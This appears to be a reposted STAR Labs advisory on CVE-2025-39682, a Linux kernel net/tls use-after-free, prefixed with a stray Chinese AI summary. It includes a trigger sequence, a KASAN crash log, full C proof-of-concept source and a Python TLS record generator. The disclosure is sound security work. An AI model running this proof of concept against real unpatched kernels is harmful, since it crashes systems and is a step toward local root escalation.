(CVE-2025-39682) Linux Kernel net/tls Use-After-Free in tls_sw_recvmsg Leading to Privilege Escalation
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户提供的文章是关于一个Linux内核的安全漏洞,CVE编号是CVE-2025-39682。文章详细描述了漏洞的背景、技术细节、CVSS评分以及影响范围。 首先,我需要理解文章的主要内容。漏洞出现在net/tls子系统中,是一个use-after-free漏洞,允许本地无权限攻击者提升权限到root。受影响的Linux版本包括多个6.x系列版本。CVSS评分是7.1,属于高危。 接下来,我要总结这些关键点:漏洞类型、影响范围、攻击后果、CVSS评分。同时,要确保语言简洁明了,不使用“文章内容总结”之类的开头。 然后,我会组织语言,确保信息全面且符合字数限制。可能的结构是先说明漏洞的位置和类型,然后描述影响范围和攻击后果,最后提到CVSS评分。 最后,检查是否有遗漏的重要信息,并确保用词准确。 </think> Linux内核net/tls子系统存在use-after-free漏洞(CVE-2025-39682),影响多个6.x版本。该漏洞允许本地无特权攻击者通过构造特定TLS记录实现提权至root。CVSS3.1评分为7.1(高危)。 2025-9-5 00:0:0 Author: starlabs.sg(查看原文) 阅读量:2 收藏

CVE: CVE-2025-39682

Affected Versions: Linux kernel 6.0 through 6.1.148; 6.2 through 6.6.102; 6.7 through 6.12.43; 6.13 through 6.16.3; 6.17-rc1 and 6.17-rc2

CVSS3.1: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Summary

Product Linux Kernel (net/tls)
Vendor Linux
Severity High — a local unprivileged attacker may exploit the vulnerability to elevate privileges to root
Affected Versions Linux 6.0–6.1.148; 6.2–6.6.102; 6.7–6.12.43; 6.13–6.16.3; 6.17-rc1 and 6.17-rc2
Tested Versions Linux 6.12.41
CVE Identifier CVE-2025-39682
CVE Description A use-after-free vulnerability in the Linux kernel net/tls can be exploited to achieve local privilege escalation
CWE Classification(s) CWE-416: Use After Free

CVSS3.1 Scoring System

Base Score: 7.1 (High) Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) None
Availability (A) High

Product Background

The Linux kernel’s net/tls subsystem implements kernel-side TLS record processing. When a socket is configured with TCP_ULP set to "tls", receive-path processing is handled by tls_sw_recvmsg, which decrypts incoming TLS records and delivers plaintext to the caller. The stream parser (strp) maintains an anchor SKB (strp->anchor) to track in-progress records during zero-copy decryption.

Technical Details

In tls_sw_recvmsg, when copied == 0 the function loops to receive additional packets. A zero-length decrypted TLS record can produce this condition, causing the loop to continue:

if (len <= copied || (copied && control != TLS_RECORD_TYPE_DATA) || rx_more)
    goto end;

On the next iteration, if the new record’s content type differs from the previously established control value, tls_record_content_type returns 0:

static int tls_record_content_type(struct msghdr *msg, struct tls_msg *tlm,
                                   u8 *control)
{
    int err;

    if (!*control) {
        *control = tlm->control;
        if (!*control)
            return -EBADMSG;

        err = put_cmsg(msg, SOL_TLS, TLS_GET_RECORD_TYPE,
                       sizeof(*control), control);
        if (*control != TLS_RECORD_TYPE_DATA) {
            if (err || msg->msg_flags & MSG_CTRUNC)
                return -EIO;
        }
    } else if (*control != tlm->control) {
        return 0;
    }

    return 1;
}

When tls_record_content_type returns 0 or a negative value, the error path queues darg.skb (which is strp->anchor) into ctx->rx_list:

err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
if (err <= 0) {
    DEBUG_NET_WARN_ON_ONCE(darg.zc);
    tls_rx_rec_done(ctx);
put_on_rx_list_err:
    __skb_queue_tail(&ctx->rx_list, darg.skb);
    goto recv_end;
}

The critical issue is that when darg.zc == 1 (zero-copy mode is active), queuing darg.skb into rx_list is forbidden. Doing so corrupts strp->anchor->frag_list and the anchor’s reference count, leading to a use-after-free when the socket is subsequently closed and tls_sw_release_resources_rx walks the freed memory.

KASAN confirms the UAF at kfree_skb_list_reason, triggered during tls_sw_release_resources_rxskb_release_data on socket close. The SKB was originally allocated by tcp_sendmsg_locked and freed by tls_strp_msg_done inside tls_sw_recvmsg before the erroneous re-queue.

The trigger sequence is:

  1. Send a TLS Application Data record (type 0x17, “Hello world”).
  2. Send a zero-length TLS Handshake record (type 0x16, empty plaintext).
  3. Partially consume the first record with read(conn, buf, 0x100) — leaving copied == 0 on the next call.
  4. Send a second Application Data record (type 0x17).
  5. Call recvmsg — the content-type mismatch between the handshake record and the subsequent application data triggers the buggy rx_list enqueue with darg.zc == 1.
  6. Close the socket — UAF fires in tls_sw_release_resources_rx.

Proof-Of-Concept Crash log

  • Run poc under Linux 6.12.41
[   11.228748] BUG: KASAN: slab-use-after-free in kfree_skb_list_reason+0x47d/0x5d0
[   11.230499] Read of size 8 at addr ffff8881090dd260 by task poc/420

[   11.232211] CPU: 7 UID: 1000 PID: 420 Comm: poc Not tainted 6.12.41+ #17
[   11.232216] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   11.232242] Call Trace:
[   11.232261]  <TASK>
[   11.232273]  dump_stack_lvl+0x66/0x80
[   11.232373]  print_report+0xc1/0x600
[   11.232410]  ? kfree_skb_list_reason+0x47d/0x5d0
[   11.232413]  kasan_report+0xaf/0xe0
[   11.232416]  ? kfree_skb_list_reason+0x47d/0x5d0
[   11.232419]  kfree_skb_list_reason+0x47d/0x5d0
[   11.232422]  ? __pfx_kfree_skb_list_reason+0x10/0x10
[   11.232425]  ? __pfx_____sys_recvmsg+0x10/0x10
[   11.232462]  ? _copy_from_user+0x2f/0x90
[   11.232480]  ? copy_msghdr_from_user+0xbf/0x120
[   11.232492]  ? __pfx_copy_msghdr_from_user+0x10/0x10
[   11.232495]  ? tls_setsockopt+0x311/0x12e0
[   11.232498]  skb_release_data+0x4e4/0x820
[   11.232502]  ? tls_sw_release_resources_rx+0x17e/0x390
[   11.232504]  sk_skb_reason_drop+0xf3/0x330
[   11.232507]  tls_sw_release_resources_rx+0x17e/0x390
[   11.232510]  ? __pfx_sock_write_iter+0x10/0x10
[   11.232513]  tls_sk_proto_close+0x4f5/0xa60
[   11.232515]  ? __pfx_tls_sk_proto_close+0x10/0x10
[   11.232517]  ? down_write+0xa9/0x120
[   11.232546]  ? __pfx_down_write+0x10/0x10
[   11.232548]  inet_release+0x109/0x270
[   11.232566]  __sock_release+0xa6/0x260
[   11.232578]  sock_close+0x15/0x20
[   11.232581]  __fput+0x2ef/0x9e0
[   11.232599]  __x64_sys_close+0x7c/0xd0
[   11.232610]  do_syscall_64+0x5a/0x120
[   11.232622]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   11.232656] RIP: 0033:0x2a2a47
[   11.232727] Code: ff ff f7 d8 64 89 02 b8 ff ff ff ff eb d4 e8 70 3a 00 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 41 c3 48 83 ec 18 89 7c 24 0c e8 c3 6a fc ff
[   11.232730] RSP: 002b:00007ffe8cedf5a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000003
[   11.232749] RAX: ffffffffffffffda RBX: 00007ffe8cee0cd8 RCX: 00000000002a2a47
[   11.232751] RDX: 0000000000000000 RSI: 00007ffe8cedf600 RDI: 0000000000000005
[   11.232752] RBP: 00007ffe8cee0ae0 R08: 0000000000000028 R09: 0000000000000004
[   11.232754] R10: 00007ffe8cedf570 R11: 0000000000000246 R12: 0000000000000001
[   11.232755] R13: 00007ffe8cee0cc8 R14: 00000000002c2cc8 R15: 0000000000000001
[   11.232759]  </TASK>

[   11.279477] Allocated by task 420:
[   11.280127]  kasan_save_stack+0x24/0x50
[   11.280138]  kasan_save_track+0x14/0x30
[   11.280140]  __kasan_slab_alloc+0x59/0x70
[   11.280142]  kmem_cache_alloc_node_noprof+0x130/0x320
[   11.280166]  __alloc_skb+0x234/0x310
[   11.280169]  tcp_stream_alloc_skb+0x30/0x520
[   11.280188]  tcp_sendmsg_locked+0x8d5/0x36a0
[   11.280190]  tcp_sendmsg+0x2c/0x50
[   11.280192]  sock_write_iter+0x441/0x560
[   11.280195]  vfs_write+0x8d1/0xc70
[   11.280198]  ksys_write+0x16f/0x1c0
[   11.280200]  do_syscall_64+0x5a/0x120
[   11.280204]  entry_SYSCALL_64_after_hwframe+0x76/0x7e

[   11.280457] Freed by task 420:
[   11.280907]  kasan_save_stack+0x24/0x50
[   11.281522]  kasan_save_track+0x14/0x30
[   11.281528]  kasan_save_free_info+0x3b/0x60
[   11.281530]  __kasan_slab_free+0x38/0x50
[   11.281532]  kmem_cache_free+0x1be/0x4e0
[   11.281535]  tcp_read_done+0x15d/0x620
[   11.281538]  tls_strp_msg_done+0xa2/0x140
[   11.281596]  tls_sw_recvmsg+0x1060/0x1530
[   11.281606]  inet_recvmsg+0x36a/0x470
[   11.281608]  sock_recvmsg+0x1a6/0x250
[   11.281610]  ____sys_recvmsg+0x1ba/0x750
[   11.281612]  ___sys_recvmsg+0xd3/0x150
[   11.281615]  __sys_recvmsg+0xca/0x160
[   11.281617]  do_syscall_64+0x5a/0x120
[   11.281620]  entry_SYSCALL_64_after_hwframe+0x76/0x7e

Source code

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sendfile.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <err.h>
#include <linux/tls.h>
#include <sys/mman.h>

#define SYSCHK(x) ({              \
	typeof(x) __res = (x);        \
	if (__res == (typeof(x))-1)   \
		err(1, "SYSCHK(" #x ")"); \
	__res;                        \
})

#define PORT 4444

void setup_tls(int sock)
{
	struct tls12_crypto_info_aes_ccm_128 crypto = {0};
	crypto.info.version = TLS_1_2_VERSION;
	crypto.info.cipher_type = TLS_CIPHER_AES_CCM_128;
	SYSCHK(setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")));
	SYSCHK(setsockopt(sock, SOL_TLS, TLS_RX, &crypto, sizeof(crypto)));
}

int main(int argc, char **argv)
{

	char control[1024];
	char buf[4096];

	int listener, conn, client;
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_port = htons(PORT),
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK)};

	socklen_t len = sizeof(addr);

	setvbuf(stdout, 0, 2, 0);

	listener = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
	if (listener < 0)
	{
		perror("socket listener");
		exit(1);
	}

	SYSCHK(bind(listener, (struct sockaddr *)&addr, sizeof(addr)));

	SYSCHK(listen(listener, 1));

	client = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));

	SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr)));

	conn = SYSCHK(accept(listener, NULL, 0));

	setup_tls(conn);

	/* MESSAGE 1: Raw TLS 1.2 record for plaintext: 'Hello world' */
	/* Sequence Number: 0 */
	/* Total length: 40 bytes */
	unsigned char tls_record_1[] = {
		0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x26, 0xa2, 0x33, 0xde, 0x8d, 0x94, 0xf0, 0x29, 0x6c, 0xb1, 0xaf,
		0x6a, 0x75, 0xb2, 0x93, 0xad, 0x45, 0xd5, 0xfd, 0x03, 0x51, 0x57, 0x8f,
		0xf9, 0xcc, 0x3b, 0x42};
	unsigned int tls_record_1_len = sizeof(tls_record_1);

	/* MESSAGE 2: Raw TLS 1.2 record for plaintext: '' */
	/* Sequence Number: 1 */
	/* Total length: 29 bytes */
	unsigned char tls_record_2[] = {
		0x16, 0x03, 0x03, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x01, 0x3e, 0xf0, 0xfe, 0xee, 0xd9, 0xe2, 0x5d, 0xc7, 0x11, 0x4c, 0xe6,
		0xb4, 0x7e, 0xef, 0x40, 0x2b};
	unsigned int tls_record_2_len = sizeof(tls_record_2);

	/* MESSAGE 3: Raw TLS 1.2 record for plaintext: 'Hello world' */
	/* Sequence Number: 2 */
	/* Total length: 40 bytes */
	unsigned char tls_record_3[] = {
		0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x02, 0xe5, 0x3d, 0x19, 0x3d, 0xca, 0xb8, 0x16, 0xb6, 0xff, 0x79, 0x87,
		0x8e, 0xa1, 0xd0, 0xcd, 0x33, 0xb5, 0x86, 0x2b, 0x17, 0xf1, 0x52, 0x2a,
		0x55, 0x62, 0x65, 0x11};

	unsigned int tls_record_3_len = sizeof(tls_record_3);

	write(client, tls_record_1, sizeof(tls_record_1));

	write(client, tls_record_2, sizeof(tls_record_2));

	int n = read(conn, buf, 0x100);

	write(client, tls_record_3, sizeof(tls_record_3));

	struct iovec iov = {
		.iov_base = buf,
		.iov_len = sizeof(buf),
	};

	struct msghdr lmsg = {
		.msg_name = NULL,
		.msg_namelen = 0,
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
		.msg_flags = 0,
	};

	n = recvmsg(conn, &lmsg, 0);

	close(conn);

	return 0;
}

Python script to generate tls_record with content type [0x17, 0x16, 0x17], the second tls_record have zero length.

from Crypto.Cipher import AES
import struct

def generate_tls_record(plaintext, key, salt, rec_seq_int, content_type=b'\x17'):
    """
    Generates a raw TLS 1.2 record with AES-CCM-128 encryption.

    Args:
        plaintext (bytes): The data to encrypt.
        key (bytes): The 128-bit (16-byte) encryption key.
        salt (bytes): The 4-byte salt.
        rec_seq_int (int): The record sequence number as an integer.
        content_type (bytes, optional): The TLS record content type. 
                                        Defaults to b'\x17' (Application Data).

    Returns:
        bytes: The raw TLS 1.2 record.
    """
    # Convert the integer sequence number to an 8-byte big-endian byte string
    rec_seq_bytes = rec_seq_int.to_bytes(8, 'big')

    # TLS protocol version for TLS 1.2
    tls_version = b'\x03\x03'

    # The 12-byte nonce is the 4-byte salt plus the 8-byte explicit sequence number
    nonce = salt + rec_seq_bytes

    # Construct the Additional Authenticated Data (AAD) for integrity protection
    # AAD = seq_num + TLSCompressed.type + TLSCompressed.version + TLSCompressed.length
    aad = rec_seq_bytes + content_type + tls_version + struct.pack('!H', len(plaintext))

    # Initialize AES-CCM cipher with a 16-byte (128-bit) authentication tag
    cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=16)
    
    # Provide the AAD to the cipher
    cipher.update(aad)
    
    # Encrypt the plaintext and get the authentication tag
    ciphertext, tag = cipher.encrypt_and_digest(plaintext)

    # The encrypted payload for AEAD ciphers in TLS is: nonce_explicit + aead_ciphertext
    encrypted_payload = rec_seq_bytes + ciphertext + tag

    # Construct the 5-byte TLS record header: Type (1) + Version (2) + Length (2)
    record_header = content_type + tls_version + struct.pack('!H', len(encrypted_payload))

    # The final raw TLS record to be sent
    raw_tls_record = record_header + encrypted_payload

    return raw_tls_record

def format_as_c_array(data, var_name="tls_record"):
    """Formats a bytes object into a C-style unsigned char array."""
    hex_values = [f"0x{byte:02x}" for byte in data]
    c_array = f"unsigned char {var_name}[] = {{\n    "
    
    for i in range(0, len(hex_values), 12):
        line = ", ".join(hex_values[i:i+12])
        c_array += line
        if i + 12 < len(hex_values):
            c_array += ",\n    "
    
    c_array += "\n};\n"
    c_array += f"unsigned int {var_name}_len = sizeof({var_name});"
    
    return c_array

if __name__ == '__main__':
    # Static parameters
    key = b'\x00' * 16
    salt = b'\x00' * 4
    
    # Define an array of plaintexts to send (already as bytes)
    plaintexts = [
        b"Hello world",
        b"",
        b"Hello world"
    ]
    content_types = [b"\x17", b"\x16", b"\x17"]
    
    # Initialize the record sequence number
    current_sequence_number = 0

    # Loop through plaintexts and generate records
    for i, plaintext_bytes in enumerate(plaintexts):
        
        # Generate the TLS record. We don't need to pass content_type
        # as we are using the default value (0x17).
        tls_record = generate_tls_record(
            plaintext_bytes, 
            key, 
            salt, 
            current_sequence_number,
            content_types[i]
        )
        
        # Format the output as a unique C array
        c_array_output = format_as_c_array(tls_record, f"tls_record_{i+1}")
        
        # We decode the plaintext bytes here only for the comment generation
        print(f"/* MESSAGE {i+1}: Raw TLS 1.2 record for plaintext: '{plaintext_bytes.decode()}' */")
        print(f"/* Sequence Number: {current_sequence_number} */")
        print(f"/* Total length: {len(tls_record)} bytes */")
        print(c_array_output)
        print("\n" + "="*50 + "\n")
        
        # CRITICAL: Increment the sequence number for the next message
        current_sequence_number += 1

Credit

Billy Jheng Bing-Jhong and Muhammad Alifa Ramdhan of STAR Labs SG Pte. Ltd.

Timeline

  • 2025-08-12 — Vulnerability reported to Linux kernel security team
  • 2025-09-05 — Patch released; CVE-2025-39682 published

文章来源: https://starlabs.sg/advisories/25/25-39682/
如有侵权请联系:admin#unsafe.sh